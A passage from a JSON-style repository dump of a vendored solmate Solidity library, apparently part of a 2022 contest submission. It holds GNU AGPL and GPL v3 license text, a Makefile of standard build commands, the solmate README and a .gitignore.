work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Remote Network Interaction; Use with the GNU General Public License.\n\n  Notwithstanding any other provision of this License, if you modify the\nProgram, your modified version must prominently offer all users\ninteracting with it remotely through a computer network (if your version\nsupports such interaction) an opportunity to receive the Corresponding\nSource of your version by providing access to the Corresponding Source\nfrom a network server at no charge, through some standard or customary\nmeans of facilitating copying of software.  This Corresponding Source\nshall include the Corresponding Source for any work covered by version 3\nof the GNU General Public License that is incorporated pursuant to the\nfollowing paragraph.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the work with which it is combined will remain governed by version\n3 of the GNU General Public License.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU Affero General Public License from time to time.  Such new versions\nwill be similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU Affero General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU Affero General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU Affero General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU Affero General Public License as published\n    by the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If your software can interact with users remotely through a computer\nnetwork, you should also make sure that it provides a way for users to\nget its source.  For example, if your program is a web application, its\ninterface could display a \"Source\" link that leads users to an archive\nof the code.  There are many ways you could offer source, and different\nsolutions will be better for different programs; see section 13 for the\nspecific requirements.\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU AGPL, see\n<https://www.gnu.org/licenses/>."
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/Makefile",
    "content": "all: solc install update\n# Install proper solc version.\nsolc:; nix-env -f https://github.com/dapphub/dapptools/archive/master.tar.gz -iA solc-static-versions.solc_0_8_10\n# Install npm dependencies.\ninstall:; npm install\n# Install dapp dependencies.\nupdate:; dapp update\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/README.md",
    "content": "# solmate\n\n**Modern**, **opinionated**, and **gas optimized** building blocks for **smart contract development**.\n\n## Contracts\n\n```ml\nauth\n├─ Auth — \"Flexible and updatable auth pattern\"\n├─ authorities\n│  ├─ RolesAuthority — \"Role based Authority that supports up to 256 roles\"\n│  ├─ MultiRolesAuthority — \"Flexible and target agnostic role based Authority\"\nmixins\n├─ ERC4626 — \"Minimal ERC4626 tokenized Vault implementation\"\ntokens\n├─ WETH — \"Minimalist and modern Wrapped Ether implementation\"\n├─ ERC20 — \"Modern and gas efficient ERC20 + EIP-2612 implementation\"\n├─ ERC721 — \"Modern, minimalist, and gas efficient ERC721 implementation\"\n├─ ERC1155 — \"Minimalist and gas efficient standard ERC1155 implementation\"\nutils\n├─ SSTORE2 - \"Library for cheaper reads and writes to persistent storage\"\n├─ CREATE3 — \"Deploy to deterministic addresses without an initcode factor\"\n├─ SafeCastLib - \"Safe unsigned integer casting lib that reverts on overflow\"\n├─ ReentrancyGuard — \"Gas optimized reentrancy protection for smart contracts\"\n├─ FixedPointMathLib — \"Arithmetic library with operations for fixed-point numbers\"\n├─ Bytes32AddressLib — \"Library for converting between addresses and bytes32 values\"\n├─ SafeTransferLib — \"Safe ERC20/ETH transfer lib that handles missing return values\"\n```\n\n## Safety\n\nThis is **experimental software** and is provided on an \"as is\" and \"as available\" basis.\n\nWhile each [major release has been audited](audits), these contracts are **not designed with user safety** in mind:\n\n- There are implicit invariants these contracts expect to hold.\n- **You can easily shoot yourself in the foot if you're not careful.**\n- You should thoroughly read each contract you plan to use top to bottom.\n\nWe **do not give any warranties** and **will not be liable for any loss** incurred through any use of this codebase.\n\n## Installation\n\nTo install with [**DappTools**](https://github.com/dapphub/dapptools):\n\n```sh\ndapp install rari-capital/solmate\n```\n\nTo install with [**Foundry**](https://github.com/gakonst/foundry):\n\n```sh\nforge install rari-capital/solmate\n```\n\nTo install with [**Hardhat**](https://github.com/nomiclabs/hardhat) or [**Truffle**](https://github.com/trufflesuite/truffle):\n\n```sh\nnpm install @rari-capital/solmate\n```\n\n## Acknowledgements\n\nThese contracts were inspired by or directly modified from many sources, primarily:\n\n- [Gnosis](https://github.com/gnosis/gp-v2-contracts)\n- [Uniswap](https://github.com/Uniswap/uniswap-lib)\n- [Dappsys](https://github.com/dapphub/dappsys)\n- [Dappsys V2](https://github.com/dapp-org/dappsys-v2)\n- [0xSequence](https://github.com/0xSequence)\n- [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts)\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/ds-test/.gitignore",
    "content": "/.dapple\n/build\n/out\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/ds-test/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you 